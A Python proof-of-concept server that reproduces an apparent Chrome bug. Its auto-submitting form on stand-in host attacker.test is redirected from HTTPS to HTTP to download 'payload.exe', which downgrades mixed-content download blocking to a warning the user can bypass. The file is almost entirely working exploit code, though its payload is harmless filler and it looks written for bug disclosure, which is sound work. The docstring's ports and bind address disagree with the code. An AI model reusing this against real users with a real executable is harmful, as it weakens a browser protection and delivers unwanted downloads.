#!/usr/bin/env python3
"""
Dual HTTP/HTTPS server for the mixed-content download blocking downgrade POC.

  - HTTPS on 0.0.0.0:8443 serves poc.html and /redirect (302 -> http payload).
  - HTTP  on 0.0.0.0:8080 serves /payload.exe with Content-Disposition: attachment.

A self-signed certificate is generated on first run (cert.pem / key.pem).
Chrome should be launched with:
  --host-resolver-rules="MAP attacker.test 127.0.0.1"
  --ignore-certificate-errors
so that https://attacker.test:8443/ resolves to this server.
"""

import http.server
import os
import ssl
import subprocess
import sys
import threading

ROOT = os.path.dirname(os.path.abspath(__file__))
CERT = os.path.join(ROOT, "cert.pem")
KEY = os.path.join(ROOT, "key.pem")

HTTPS_PORT = 8443
HTTP_PORT = 8081
HOST = "attacker.test"

http.server.ThreadingHTTPServer.allow_reuse_address = True

POC_HTML = """<!doctype html>
<html>
<head><title>mixed-content download POC</title></head>
<body>
<h3>Mixed-content download blocking downgrade POC</h3>

<!-- BUG case: form submit -> PAGE_TRANSITION_FORM_SUBMIT (7).
     7 & PAGE_TRANSITION_TYPED(1) == 1 -> is_mixed_content_ spuriously cleared
     -> result downgraded from SILENT_BLOCK to BLOCK (user-bypassable). -->
<form id="f" method="GET"
      action="https://%(host)s:%(https_port)d/redirect">
  <input type="submit" value="Form submit (FORM_SUBMIT=7, BUGGED -> BLOCK)">
</form>

<!-- CONTROL case: anchor click -> PAGE_TRANSITION_LINK (0).
     0 & anything == 0 -> is_mixed_content_ stays true -> SILENT_BLOCK (correct). -->
<p>
  <a id="a" href="https://%(host)s:%(https_port)d/redirect">
    Anchor link (LINK=0, control -> SILENT_BLOCK)
  </a>
</p>

<script>
  const mode = new URLSearchParams(location.search).get('mode');
  setTimeout(() => {
    if (mode === 'form') {
      document.getElementById('f').submit();
    } else if (mode === 'link') {
      document.getElementById('a').click();
    }
  }, 500);
</script>
</body>
</html>
""" % {"host": HOST, "https_port": HTTPS_PORT}

PAYLOAD = b"MZ\x90\x00" + b"A" * 256  # Fake PE header + filler.


class HttpsHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path.split("?", 1)[0]
        if path in ("/", "/poc.html"):
            body = POC_HTML.encode()
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
        elif path == "/redirect":
            # 302 redirect from HTTPS to HTTP. The InsecureFormNavigationThrottle
            # proceeds for non-307/308 GET redirects, so the navigation reaches
            # the download stage with transition_type still FORM_SUBMIT.
            self.send_response(302)
            self.send_header(
                "Location", "http://%s:%d/payload.exe" % (HOST, HTTP_PORT)
            )
            self.send_header("Content-Length", "0")
            self.end_headers()
        else:
            self.send_error(404)

    def log_message(self, fmt, *args):
        sys.stderr.write("[HTTPS:%d] %s\n" % (HTTPS_PORT, fmt % args))


class HttpHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path.split("?", 1)[0]
        if path == "/payload.exe":
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header(
                "Content-Disposition", 'attachment; filename="payload.exe"'
            )
            self.send_header("Content-Length", str(len(PAYLOAD)))
            self.end_headers()
            self.wfile.write(PAYLOAD)
        else:
            self.send_error(404)

    def log_message(self, fmt, *args):
        sys.stderr.write("[HTTP :%d] %s\n" % (HTTP_PORT, fmt % args))


def ensure_cert():
    if os.path.exists(CERT) and os.path.exists(KEY):
        return
    sys.stderr.write("[*] Generating self-signed cert for %s...\n" % HOST)
    subprocess.check_call(
        [
            "openssl",
            "req",
            "-x509",
            "-newkey",
            "rsa:2048",
            "-keyout",
            KEY,
            "-out",
            CERT,
            "-days",
            "365",
            "-nodes",
            "-subj",
            "/CN=%s" % HOST,
        ]
    )


def main():
    ensure_cert()

    https_srv = http.server.ThreadingHTTPServer(
        ("127.0.0.1", HTTPS_PORT), HttpsHandler
    )
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(CERT, KEY)
    https_srv.socket = ctx.wrap_socket(https_srv.socket, server_side=True)

    http_srv = http.server.ThreadingHTTPServer(
        ("127.0.0.1", HTTP_PORT), HttpHandler
    )

    sys.stderr.write(
        "[*] HTTPS listening on https://%s:%d/poc.html\n" % (HOST, HTTPS_PORT)
    )
    sys.stderr.write(
        "[*] HTTP  listening on http://%s:%d/payload.exe\n" % (HOST, HTTP_PORT)
    )

    t = threading.Thread(target=http_srv.serve_forever, daemon=True)
    t.start()
    try:
        https_srv.serve_forever()
    except KeyboardInterrupt:
        pass


if __name__ == "__main__":
    main()
